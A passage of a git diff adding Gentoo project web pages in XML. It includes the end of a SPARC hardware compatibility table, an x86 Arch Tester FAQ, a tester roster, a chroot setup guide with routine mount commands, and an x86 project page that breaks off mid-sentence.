+      <tr><ti>T2000</ti><ti>2.6.20-gentoo-r4</ti><ti>Very good</ti><ti>4.25.0</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gustavoz</ti>
+	  <ti>Install with 2006.1 or newer media</ti></tr>
+      <tr><ti>Fire 280R</ti><ti>2.6.15-gentoo-r8</ti><ti>Very good</ti><ti>4.16.4</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gustavoz</ti>
+	  <ti>2x900Mhz Cu, BBC_I2C is b0rked as in Blade 1000/2000</ti></tr>
+      <tr><ti>Fire V100</ti><ti>2.6.16-gentoo-r3</ti><ti>Very good</ti><ti>4.0.18</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gustavoz</ti>
+	  <ti>Using tulip driver for net, ports are somewhat sensitive to bad cabling</ti></tr>
+      <tr><ti>Fire V120</ti><ti>2.6.17-gentoo-r8</ti><ti>Very good</ti><ti>4.0.12</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>Weeve</ti>
+	  <ti>Onboard interfaces work perfectly via sungem driver.  PCI addon board with Sun Cassini interface causes a lockup when the driver is loaded however.</ti></tr>
+      <tr><ti>Fire V210</ti><ti>2.6.20-gentoo-r4</ti><ti>Very good</ti><ti>4.22.23</ti>
+	  <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gustavoz</ti>
+	  <ti>Installed using 2006.1 media, uniprocessor @ 1ghz.</ti></tr>
+      <tr><ti>Fire V240</ti><ti>2.6.17-gentoo</ti><ti>Very good</ti><ti>4.17.1</ti>
+	  <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>gustavoz</ti>
+	  <ti>Needs silo 1.4.10+ for 2.6 kernels.</ti></tr>
+      <tr><ti>Fire V250</ti><ti>2.6.16-gentoo-r9</ti><ti>Very good</ti><ti>4.17.1</ti>
+	  <ti>YES</ti><ti>N/A</ti><ti>N/A</ti><ti>Chris Cosby</ti>
+	  <ti>Using silo 1.4.11+ and experimental 2.6 LiveCD</ti></tr>
+      <tr><ti>Fire V880</ti><ti>2.6.17-gentoo-r9</ti><ti>Excellent</ti><ti>4.5.6</ti>
+          <ti>YES</ti><ti>N/A</ti><ti>3D Rage XL</ti><ti>Rui Pimenta</ti>
+	  <ti>2x750MHz, silo 1.4.13, Eth0+1: Sun GEM, QLogic QLA22xx, Xorg 7.1.1 + gnome</ti></tr>
+    </table>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+
+<chapter><title>Updating the compatibility list</title> <!-- {{{ -->
+  <section><title>Sending Us Your Updates</title> <!-- {{{ -->
+  <body>
+    <p>If you would like to send us your results, please email the SPARC team
+      at <c>sparc at gentoo dot org</c> with your information in the same
+      format it is currently presented in.
+    </p>
+  </body>
+  </section> <!-- }}} -->
+</chapter> <!-- }}} -->
+</guide>
+
+<!-- vim: set tw=80 et ts=2 sw=2 sts=2 foldmethod=marker : -->
diff --git a/xml/htdocs/proj/en/base/x86/arch-testers-faq.xml b/xml/htdocs/proj/en/base/x86/arch-testers-faq.xml
new file mode 100644
index 00000000..f6a14045
--- /dev/null
+++ b/xml/htdocs/proj/en/base/x86/arch-testers-faq.xml
@@ -0,0 +1,459 @@
+<?xml version='1.0' encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/x86/arch-testers-faq.xml,v 1.27 2010/08/12 08:32:49 fauli Exp $ -->
+
+<guide link="/proj/en/base/x86/arch-testers-faq.xml">
+<title>Gentoo x86 Arch Tester's FAQ</title>
+
+<author title="Author">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+</author>
+
+<abstract>
+This document is the x86 Arch Tester's bible.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.7</version>
+<date>2010-08-12</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+This FAQ attempts to answer the most commonly asked questions about being an
+Arch Tester with the x86 team. Questions can be asked on irc at #gentoo-x86 or
+mailed to the Author.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Questions</title>
+<section>
+<title>The Basics</title>
+<body>
+
+<p>
+General queries regarding Arch Testing.
+</p>
+
+<ul>
+  <li><uri link="#whoat">Who is an Arch Tester?</uri></li>
+  <li><uri link="#whyat">Why does Gentoo need Arch Testers?</uri></li>
+  <li>
+    <uri link="#basicsk">What are the basic skills I need to be an AT?</uri>
+  </li>
+  <li>
+    <uri link="#basicsys">What are the basic system requirements if
+    any?</uri>
+  </li>
+  <li>
+    <uri link="#x86at">What does it mean to be part of the x86 AT
+    Team?</uri>
+  </li>
+  <li>
+    <uri link="#atwhat">What do I have to do as an AT? What are my
+    roles/responsibilities?</uri>
+  </li>
+  <li>
+    <uri link="#athow">How do I get involved with the team and start
+    helping out?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Getting Ready</title>
+<body>
+
+<p>
+How to get your system setup and ready to test packages.
+</p>
+
+<ul>
+  <li>
+    <uri link="#stchroot">I don't run stable x86, my box is ~x86. How can I setup
+    an x86 chroot?</uri>
+  </li>
+  <li>
+    <uri link="#kernelv">I run an unstable kernel. Would that be an issue when
+    I'm testing packages?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Work Work Work!!!</title>
+<body>
+
+<p>
+Stuff that you do on a day to day basis.
+</p>
+
+<ul>
+  <li>
+    <uri link="#steptest">What are the steps I need to follow	when I'm
+    testing a package?</uri>
+  </li>
+  <li><uri link="#powers">What godly powers do I have as an AT?</uri></li>
+  <li><uri link="#whomct">Whom do I contact in case of breakages?</uri></li>
+  <li>
+    <uri link="#methct">What are the best ways of contacting
+    maintainers/devs?</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>The Basics</title>
+<section>
+<body>
+
+<p>
+This section aims to be quite generic and questions answered here hold true
+across most archs in Gentoo.
+</p>
+
+</body>
+</section>
+<section id="whoat">
+<title>Who is an Arch Tester?</title>
+<body>
+
+<p>
+An Arch Tester (commonly referred to as "AT") is a trustworthy user capable of
+testing an application to determine its stability.  To be an AT you must be able
+to test a wide array of packages, and be able to understand and modify ebuilds.
+</p>
+
+</body>
+</section>
+<section id="whyat">
+<title>Why does Gentoo need Arch Testers?</title>
+<body>
+
+<p>
+We need ATs to help improve Quality Assurance (QA), and to help Arch Devs ensure
+packages are actually stable by having it tested by others whom report their
+findings. As the tree gets larger and larger we will need more people to
+actively watch for things that break, and help get them fixed.
+</p>
+
+</body>
+</section>
+<section id="basicsk">
+<title>What are the basic skills I need to be an AT?</title>
+<body>
+
+<p>
+You should be able to modify ebuilds and recognize mistakes that should be
+corrected before we mark the package stable. It is also expected that you can
+test packages and give good bug reports if there are problems with anything.
+This means you should be comfortable with bash scripting as well as Gentoo
+specific areas such as Portage overlays.
+</p>
+
+</body>
+</section>
+<section id="basicsys">
+<title>What are the basic system requirements if any?</title>
+<body>
+
+<p>
+You'll need a system or chroot, which only uses packages marked
+"x86". This is so we actually use stable libraries to test packages
+against, and can find bugs in packages marked stable.  Alternatively
+you can run Gentoo on a dedicated machine for testing only or in a
+virtual machine.  Suitable programs for the latter are VirtualBox,
+VMWare or QEmu/KVM, although its use for architecture work is
+discouraged because it does not run on actual hardware.
+</p>
+<p>
+Additionally you should set <c>FEATURES="test collision-protect"</c>
+to catch test failures and file collisions between packages.  Some
+packages do not respect the values of LDFLAGS and CFLAGS/CXXFLAGS when
+building, which can lead to breakage.  So you should at least set
+<c>LDFLAGS="${LDFLAGS} -Wl,--hash-style=gnu"</c>, which makes Portage
+output a warning about it.
+</p>
+</body>
+</section>
+
+<section id="x86at">
+<title>What does it mean to be a part of the x86 AT Team?</title>
+<body>
+
+<p>
+Being part of the x86 AT Team means you are prepared to dedicate some amount
+of time to help Gentoo/x86. It also means that you are interested in helping
+test any applications we are asked to mark stable.
+</p>
+
+</body>
+</section>
+<section id="atwhat">
+<title>What do I have to do as an AT? What are my
+roles/responsibilities?</title>
+<body>
+
+<p>
+You need to help arch devs test packages. Testing a package requires more
+than just ensuring it compiles. It is expected that you will ensure that
+atleast major functionality works in the application. When testing a package,
+ensure you have <c>FEATURES="test collision-protect"</c> on. If any package fails to
+emerge with this feature set, it is a major QA issue and we can't proceed 
+until it's resolved.
+</p>
+
+</body>
+</section>
+<section id="athow">
+<title>How do I get involved with the team and start helping out?</title>
+<body>
+
+<p>
+First you should read this entire FAQ so you are familiar with what being an
+AT actually means.  After completing that, you should come on irc.freenode.net
+and hang out in #gentoo-x86.  Developers often ask for help with testing a
+package, and you can try helping out wherever you can.
+</p>
+
+<p>
+The main way for you to start helping out is to look at our bugs.  Here are a
+few links for you bookmark or save as searchs on bugzilla:
+</p>
+
+<ul>
+  <li>
+    <uri link="http://tinyurl.com/obcta">All x86 bugs</uri>
+  </li>
+  <li>
+    <uri link="http://tinyurl.com/cpdjk">Security related x86 bugs</uri>
+  </li>
+</ul>
+
+<p>
+Finally, after you have shown some level of commitment and we believe you
+will be a good addition to the team, we will give you the
+<uri link="http://www.gentoo.org/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild
+quiz</uri> and then there will be a 30 day mentoring period.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting Ready</title>
+<section>
+<body>
+
+<p>
+This section deals with commonly asked "how to setup" style questions to guide
+you through getting your system ready to do some AT work :)
+</p>
+
+</body>
+</section>
+<section id="stchroot">
+<title>I don't run stable x86, my box is ~x86. How can I setup an x86
+chroot?</title>
+<body>
+
+<p>
+Please take a look at the <uri link="chroot.xml">Chroot Guide</uri> for more
+information regarding setting up a chroot environment.
+</p>
+
+</body>
+</section>
+<section id="kernelv">
+<title>I run an unstable kernel. Would that be an issue when I'm testing
+packages?</title>
+<body>
+
+<p>
+It is preferred that you use a stable kernel outside of the chroot but it is
+not a firm requirement.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Work Work Work!!!</title>
+<section>
+<body>
+
+<p>
+Questions on how exactly to go about doing your work on a daily basis are
+answered here.
+</p>
+
+</body>
+</section>
+<section id="steptest">
+<title>What are the steps I need to follow when I'm testing a package?</title>
+<body>
+
+<ol>
+  <li>Ensure that all packages in the system/chroot are stable.</li>
+  <li>
+    Set <c>FEATURES="test collision-protect"</c> in
+    <path>/etc/make.conf</path> and use a "sane" set of <c>CFLAGS</c>,
+    as described in the <uri
+    link="http://www.gentoo.org/doc/en/gcc-optimization.xml">Compilation
+    Optimization Guide</uri>.
+  </li>
+  <li>
+    Choose a request from the above-mentioned bug lists, where
+    security bugs and keywording requests have absolute priority.
+  </li>
+  <li>
+     Normally, all needed packages are listed in the request, but
+     sometimes, dependencies are forgotten.  This is usually no
+     problem for most things, but you should include it in your report
+     nonetheless.  To automatically add all needed packages to the
+     <c>package.keywords</c> file, you may use <uri
+     link="http://packages.gentoo.org/package/app-portage/gatt">app-portage/gatt</uri>.
+  </li>
+  <li>
+    After merging the package with various USE flag combinations, run
+    it and ensure that basic functionality works.  If the package is a
+    library, emerge a couple of packages that use the library to
+    ensure they still work with the new version (best option: all that
+    depend on it and have a stable version).  The so-called
+    reverse-dependencies are found in the <uri
+    link="http://tinderbox.dev.gentoo.org/misc/dindex/">dindex</uri>.
+   </li>
+   <li>
+     Inform the team about the successful test or the occured failures
+     on the corresponding bug report including what you did and on
+     what platform.  If there were problems, add your <c>emerge
+     --info</c> output, too.
+   </li>
+   <li>
+     Problems that occur in the currently stable version, too, will
+     not always be an obstactle to stabilisations, but need to be
+     reported nonetheless.
+   </li>
+</ol>
+
+<p>Additional hints you may find useful:</p>
+
+<ul>
+   <li>
+     Architecture testers not only test packages but also seek
+     actively for solutions were problems occured.  Important sources
+     of information are version control systems and bug trackers of
+     other distributions and also upstream.  Reporting bugs to the
+     authors is as important as testing packages!
+   </li>
+   <li>
+     Set a user watch for Bugzilla in your <uri
+     link="http://bugs.gentoo.org/userprefs.cgi?tab=email">preferences</uri>
+     on the x86@gentoo.org alias.  Thus you will receive all mails
+     from Bugzilla directed towards the x86 team.
+   </li>
+</ul>
+
+</body>
+</section>
+<section id="powers">
+<title>What godly powers do I have as an AT?</title>
+<body>
+
+<p>
+Hah. You were joking when you asked that right? AT's are minions who do all the
+work and have no powers or play......okay, I was kidding :)
+</p>
+
+<p>
+Things you have access to/can do as an AT:
+</p>
+
+<ul>
+  <li>
+    Elevated priviledges on <uri link="http://bugs.gentoo.org">Gentoo
+    Bugzilla</uri> so that you can modify all aspects of a bug. This is mainly
+    given so that you can re-assign bugs correctly in case needed and
+    co-ordinate with package maintainers/other arch teams etc.
+  </li>
+  <li>Read-only cvs access to the gentoo-x86 repository, which is not
+  a privilege, but may come in handy for ATs.  See <uri
+  link="http://sources.gentoo.org/">ViewCVS</uri> for a checkout URL
+  for anonymous access.</li>
+</ul>
+
+<p>
+Things you don't have access to/can't do as an AT:
+</p>
+
+<ul>
+  <li>
+     Commit fixes for ebuilds. You'll have to find the maintainer or another
+     developer with access to do that for you.
+  </li>
+</ul>
+
+</body>
+</section>
+<section id="whomct">
+<title>Whom do I contact in case of breakages?</title>
+<body>
+
+<p>
+If you notice some major breakage in the tree, first try to contact the person
+that caused the breakage. This can be found in the <path>ChangeLog</path>
+normally, but if not, use <uri link="http://sources.gentoo.org/">ViewCVS</uri>
+to see who committed the change. If you can't get in touch with this person, try
+the maintainer or herd of the package (if the maintainer is not the same person
+that caused the breakage). If all else fails, make an x86 dev aware of the
+situation so we can address it as best as we can until someone is available to
+address it properly.
+</p>
+
+</body>
+</section>
+<section id="methct">
+<title>What are the best ways of contacting maintainers/devs?</title>
+<body>
+
+<p>
+Normally the easiest way to contact a dev is to "ping" them on IRC. If they
+aren't around on IRC, send them an email. If you are unable to get in touch
+with them, try contacting someone else in the herd (if applicable). If there
+is no herd to get in touch with then tell someone in the x86 team what the
+issue is and we'll figure out how to proceed. Also, unless the problem is
+severe, give them enough time to respond back through email. Do check the
+<uri link="http://dev.gentoo.org/devaway/">devaway</uri> to make sure the
+person you're trying to reach isn't away.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/en/base/x86/at.xml b/xml/htdocs/proj/en/base/x86/at.xml
new file mode 100644
index 00000000..0f3a14c1
--- /dev/null
+++ b/xml/htdocs/proj/en/base/x86/at.xml
@@ -0,0 +1,192 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Gentoo/x86 Arch Testers</name>
+  <longname>Gentoo/x86 Arch Testers</longname>
+  <date>2010-07-13</date>
+  <author title="Author">
+    <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+  </author>
+  <author title="Author">
+    <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+  </author>
+
+  <description>
+    Testers whom assist Gentoo/x86 developers in testing packages that are to
+    be marked stable.
+  </description>
+
+  <longdescription><p>
+    The Arch Testers team is responsible with helping x86 devs test packages
+    which are to be marked stable.  Arch testers are respected members of the
+    community which the x86 team has recognized as being reliable and trustworthy.
+  </p></longdescription>
+
+  <dev role="lead" description="Subproject Lead">fauli</dev>
+
+  <extrachapter>
+    <title>Arch Testers</title>
+    <section>
+      <body>
+	<table>
+	  <tr>
+	    <th>Name</th>
+	    <th>Nickname</th>
+	    <th>Status</th>
+	    <th>Email address</th>
+	  </tr>
+	  <tr>
+	    <ti>Sander Knopper</ti>
+	    <ti>saknopper</ti>
+	    <ti>Active</ti>
+	    <ti>sander (AT) knopper.tk</ti>
+	  </tr>
+	  <tr>
+	    <ti>Thomas Kahle</ti>
+	    <ti>tomka</ti>
+	    <ti>Active</ti>
+	    <ti>tom111 (AT) gmx.de</ti>
+	  </tr>
+	  <tr>
+	    <ti>Andreas Schuerch</ti>
+	    <ti>nativemad</ti>
+	    <ti>Active</ti>
+	    <ti>andreas DOT schuerch (AT) nativenet DOT ch></ti>
+	  </tr>
+	  <tr>
+	    <ti>Jesus de Santos Garcia</ti>
+	    <ti>ent</ti>
+	    <ti>Pre-quiz</ti>
+	    <ti>icg_ent (AT) bigfoot.com</ti>
+	  </tr>
+	  <tr>
+	    <ti>Myckel Habets</ti>
+	    <ti>Myckel</ti>
+	    <ti>Pre-quiz</ti>
+	    <ti>myckel (AT) sdf DOT lonestar DOT org</ti>
+	  </tr>
+	  <tr>
+	    <ti>Dane Smith</ti>
+	    <ti>smithdanea</ti>
+	    <ti>Pre-quiz</ti>
+	    <ti>smithdanea (AT) gmail.com</ti>
+	  </tr>
+	  <tr>
+	    <ti>David Abbott</ti>
+	    <ti>dabbott</ti>
+	    <ti>Developer</ti>
+	    <ti></ti>
+	  </tr>
+  
+	  <tr>
+	    <ti>Ryan Hill</ti>
+	    <ti>dirtyepic</ti>
+	    <ti>Developer</ti>
+	    <ti></ti>
+	  </tr>
+	  <tr>
+	    <ti>Christian Faulhammer</ti>
+	    <ti>Fauli/Opfer</ti>
+	    <ti>Developer</ti>
+	    <ti></ti>
+	  </tr>
+	  <tr>
+	    <ti>Markus Meier</ti>
+	    <ti>maekke</ti>
+	    <ti>Developer</ti>
+	    <ti></ti>
+	  </tr>
+	  <tr>
+	    <ti>Kacper Kowalik</ti>
+	    <ti>xarthisius</ti>
+	    <ti>Developer</ti>
+	    <ti></ti>
+	  </tr>
+	  <tr>
+	    <ti>Emanuele Gentili</ti>
+	    <ti>bathym</ti>
+	    <ti>Inactive</ti>
+	    <ti>bathym (AT) 0x656d67.org</ti>
+	  </tr>
+	  <tr>
+	    <ti>Greg Watson</ti>
+	    <ti>LinuxKrn</ti>
+	    <ti>Inactive</ti>
+	    <ti>bugs (AT) linuxlogin.com</ti>
+	  </tr>
+	  <tr>
+	    <ti>Matthias Langer</ti>
+	    <ti>mlangc</ti>
+	    <ti>Inactive</ti>
+	    <ti>mlangc (AT) gmx.at</ti>
+	  </tr>
+	  <tr>
+	    <ti>Alex Maclean</ti>
+	    <ti>Monkeh</ti>
+	    <ti>Inactive</ti>
+	    <ti>monkeh (AT) monkeh.net</ti>
+	  </tr>
+	  <tr>
+	    <ti>David Morgan</ti>
+	    <ti>djm</ti>
+	    <ti>Inactive</ti>
+	    <ti>david.morgan (AT) wadham.oxford.ac.uk</ti>
+	  </tr>
+	  <tr>
+	    <ti>Dimitry Bradt</ti>
+	    <ti>diox</ti>
+	    <ti>Developer (retired)</ti>
+	    <ti></ti>
+	  </tr>
+	  <tr>
+	    <ti>Charlie Shepherd</ti>
+	    <ti>masterdriverz</ti>
+	    <ti>Developer (retired)</ti>
+	    <ti></ti>
+	  </tr>
+   </table>
+
+
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter>
+    <title>Documentation</title>
+    <section>
+      <body>
+
+        <p>
+          The Gentoo/x86 team has put together some documentation to help aspiring
+          arch testers get started:
+        </p>
+          <ul>
+            <li><uri link="arch-testers-faq.xml">Arch Tester's FAQ</uri></li>
+            <li><uri link="chroot.xml">Chroot Guide</uri></li>
+          </ul>
+
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+
+        <p>
+          If you are interested in helping Gentoo, and you are not sure how to start,
+          then joining the Gentoo/x86 Arch Tester team may be a great start for you.
+          If you have any questions, please contact any of the developers listed on
+          the page via email or IRC.  We are always looking for more testers, so don't
+          think that your help will go unappreciated.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/x86/chroot.xml b/xml/htdocs/proj/en/base/x86/chroot.xml
new file mode 100644
index 00000000..2028aa4e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/x86/chroot.xml
@@ -0,0 +1,168 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/x86/chroot.xml,v 1.4 2009/04/29 18:24:11 fauli Exp $ -->
+
+<guide link="/proj/en/base/x86/chroot.xml">
+<title>Gentoo x86 Chroot Setup Guide</title>
+
+<author title="Author">
+  <mail link="tsunam@gentoo.org">Joshua Jackson</mail>
+</author>
+<author title="Author">
+  <mail link="david.morgan@wadham.oxford.ac.uk">David Morgan</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+</author>
+
+<abstract>
+This guide will show you how to create chroots to assist in testing packages
+for stablization.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2009-04-29</date>
+
+<chapter>
+<title>X86 Chroot Howto</title>
+<section>
+<title>What is a Chroot?</title>
+<body>
+
+<p>
+A chroot is a operation to change the root directory of the current process and
+the children spawned from it. In the simplest terms, it allows us to setup a
+completely separate install inside the one that you are already running.
+</p>
+
+</body>
+</section>
+<section>
+<title>Setting up your Chroot for a new install</title>
+<body>
+
+<p>
+The first thing that you need to do is create a directory for your chroot to
+reside.
+</p>
+
+<pre caption="Creation of a directory for your chroot to reside">
+<comment>Create a directory that has enough space for a second install. foo is our example</comment>
+# <i>mkdir /foo</i>
+</pre>
+
+
+<p>
+The next step is to download a stage three tarball to the chroot and untar it. 
+</p>
+
+<pre caption="Going to the Chroot mountpoint">
+<comment>Stage filename shown below is an example, actual filename may vary</comment>
+# <i>mv stage3-x86.tar.bz2 /foo</i>
+# <i>cd /foo</i>
+# <i>tar xvjpf stage3-x86.tar.bz2</i>
+</pre>
+
+<p>
+To actually proceed with the install at this point, you need to mount a few
+directories from your live system to the chroot.
+</p>
+
+<warn>
+You might have to create some of the directories in your chroot to be able to
+mount them, as you'll get the mount point does not exist.
+</warn>
+
+<pre caption="Directories needing to be mounted in your chroot">
+<comment>Mount the following directories to their appropriate area within your chroot.</comment>
+# <i>mount -t proc none /foo/proc</i>
+# <i>mount -o bind /dev /foo/dev</i>
+# <i>mount -o bind /usr/portage /foo/usr/portage</i>
+# <i>mount -o bind /usr/src/linux /foo/usr/src/linux</i>
+# <i>mount -o bind /lib/modules /foo/lib/modules</i>
+# <i>mount -o bind /sys /foo/sys</i>
+# <i>cp /etc/resolv.conf /foo/etc/resolv.conf</i>
+<comment>Finally, if you want one /tmp for both</comment>
+# <i>mount -o bind /tmp /foo/tmp</i>
+</pre>
+
+<note>
+You might want to create a simple bash script you can run before you chroot to
+the directories for the future. It makes it a easier task to run one script
+then having to remember what each mount you need to do. 
+</note>
+
+<p>
+As you will notice this is by no means a secure chroot but for what we need it doesn't
+need to be. With all that mounted you can actually go into your new setup.
+</p>
+
+<pre caption="Entering your Chroot">
+# <i>chroot /foo /bin/bash</i>
+</pre>
+
+<p>
+As you are now in your new chroot, you can start a standard install from <uri
+link="/doc/en/handbook/handbook-x86.xml?part=1&amp;chap=6#doc_chap2">Configuring
+Portage.
+</uri>
+
+</p>
+</body>
+</section>
+
+<section>
+<title>Running X apps inside your chroot</title>
+<body>
+
+<p>
+In order to be able to launch applications with a GUI from inside your
+chroot when your X session was started outside the chroot, there are a
+few extra steps you must follow.
+</p>
+
+<p>
+First, you must be using <c>/tmp</c> from outside the chroot (see above).
+Second, since <c>/dev/pts</c> is a separate filesystem to <c>/dev</c> you
+will need to mount that as well.
+</p>
+
+<pre caption="Mounting /dev/pts">
+# <i>mount -o bind /dev/pts /foo/dev/pts</i>
+</pre>
+
+<p>
+You will also need to copy your <c>~/.xauth</c> file to the home directory of
+your user in the chroot.
+</p>
+
+<pre caption="Copying .Xauthority and misc files">
+# <i>cp /home/user/.Xauthority /foo/home/chroot_user/</i>
+# <i>cp /home/user/.xauth* /foo/home/chroot_user/</i>
+</pre>
+
+<note>
+You will need to redo this everytime you restart X.
+</note>
+
+<p>
+Finally, when you are inside your chroot, you need to set the
+<c>DISPLAY</c> environment variable.
+</p>
+
+<pre caption="Setting DISPLAY">
+# <i>export DISPLAY=":0.0"</i>
+</pre>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/x86/gcc-upgrading-guide.xml b/xml/htdocs/proj/en/base/x86/gcc-upgrading-guide.xml
new file mode 100644
index 00000000..15243063
--- /dev/null
+++ b/xml/htdocs/proj/en/base/x86/gcc-upgrading-guide.xml
@@ -0,0 +1,38 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/x86/gcc-upgrading-guide.xml,v 1.16 2005/12/08 21:39:09 jkt Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/x86/gcc-upgrading-guide.xml" disclaimer="obsolete" redirect="/doc/en/gcc-upgrading.xml">
+<title>Gentoo Linux GCC Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="jkt@gentoo.org">Jan Kundrát</mail>
+</author>
+
+<abstract>
+This guide has been removed
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.0</version>
+<date>2005-12-08</date>
+
+<chapter>
+<title>Notice</title>
+<section>
+<body>
+
+<p>
+This guide has been expanded and moved to <uri
+link="/doc/en/gcc-upgrading.xml">another place</uri>. Please use the updated
+version.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/x86/index.xml b/xml/htdocs/proj/en/base/x86/index.xml
new file mode 100644
index 00000000..f1e6fca1
--- /dev/null
+++ b/xml/htdocs/proj/en/base/x86/index.xml
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+  <name>Gentoo Linux/x86</name>
+  <longname>Gentoo Linux x86 Architecture Development</longname>
+  <date>June 13, 2010</date>
+
+  <description>
+    The Gentoo Linux x86 Development Project is devoted to keeping Gentoo
+    Linux in good shape on the x86 architecture, which represents all
+    32-bit Intel-compatible processors
+  </description>
+  <longdescription>
+    <p>
+      The Gentoo Linux/x86 Project works to keep Gentoo the most up to
+      date and secure x86 distribution available. We are responsible
+      for the maintainance of all x86 specific meta-data and the
+      testing of all other non-x86 specific meta-data on the x86
+      architecture to ensure portability. Portability implies
+      reuseable meta-data.
+    </p>
+
+    <p>
+      Bugs are tracked and resolved from the <uri
+      link="http://bugs.gentoo.org"> Gentoo bug tracker</uri> and
+      correspondence is maintained over the x86 mail alias.
+    </p>
+  </longdescription>
+
+  <goals>
+    <p>
+      The goal of the Gentoo Linux x86 Arhitecture Development project
+      is to guarantee that the x86 packages build using Gentoo
+      meta-data are up to date.  By continuously enhancing the
+      meta-data, we provide the x86 user with the Gentoo community
+      feeling, performance, freedom and up-to-dateness that they
+      expect and deserve.  The meta-distribution notion allows for a
+      user to to be as bleeding edge as he/she wants:
+    </p>
+
+    <p>
+      Gentoo is unique because of its interpretation of the
+      Meta-Distribution notion: all architectures share the same
+      'generic' meta-data (information about how to build
+      packages&mdash;how to build a distribution). The x86 developers
+      are responsible for building and testing packages using this
+      meta-data.  The meta-data gets marked 'tested' or 'stable'
+      afterwards, depending on the building and testing
+      experience. Our users can use (but don't have to use) this
+      information to build a system that suits their needs.
+    </p>
+  </goals>
+
+  <recruitment>
+    <job>
+      <summary>Arch Tester</summary>
+      <details>
+        Gentoo/x86 needs more people testing packages. See
+        <uri link="/proj/en/base/x86/arch-testers-faq.xml">Arch Tester's FAQ
+        </uri> for more information.
+      </details>
+      <requirements>
+        Being able to test packages and give good bug reports if there are
+        problems with anything. Running a stable x86 Gentoo system or chroot.
+        No quiz is required to start.
+      </requirements>
+      <contact>x86@gentoo.org</contact>
+    </job>
+    <job>
+      <summary>Team member</summary>
+      <details>
+        Gentoo/x86 needs more people testing packages and updating x86 keywords
+        (marking packages as tested or stable on x86).
+      </details>
+      <requirements>
+        Good understanding of ebuilds and Gentoo policies, experience with
+        testing packages and most common QA issues. Becoming an Arch Tester
+        is a great start. Team members are Gentoo developers, so they are
+        required to take ebuild quizzes.
+      </requirements>
+      <contact>x86@gentoo.org</contact>
+    </job>
+  </recruitment>
+
+  <subproject ref="/proj/en/base/x86/at.xml"/>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+	<p>
+	  Can you make computers do amazing things? Are you excited
+	  about exploring areas of computing never explored before? We
+	  are continuously looking for volunteers willing to spend
+	  some of their free time on this project. In return for your
+	  work, you get the respect of the x86 community.
+	</p>
+
+	<p>
+	  If you are interested in helping, but don't have a niche
+	  that you are interested in filling, you can always look
+	  through <uri
+	  link="http://bugs.gentoo.org">bugs.gentoo.org</uri>. There
+	  are many, many bugs waiting to be found and fixed and many
+	  enhancements looking to find someone to code them. Figure
+	  out a fix, implement it, test it, and then keep trying to
+	  make the patch smaller. Post it for review on <uri
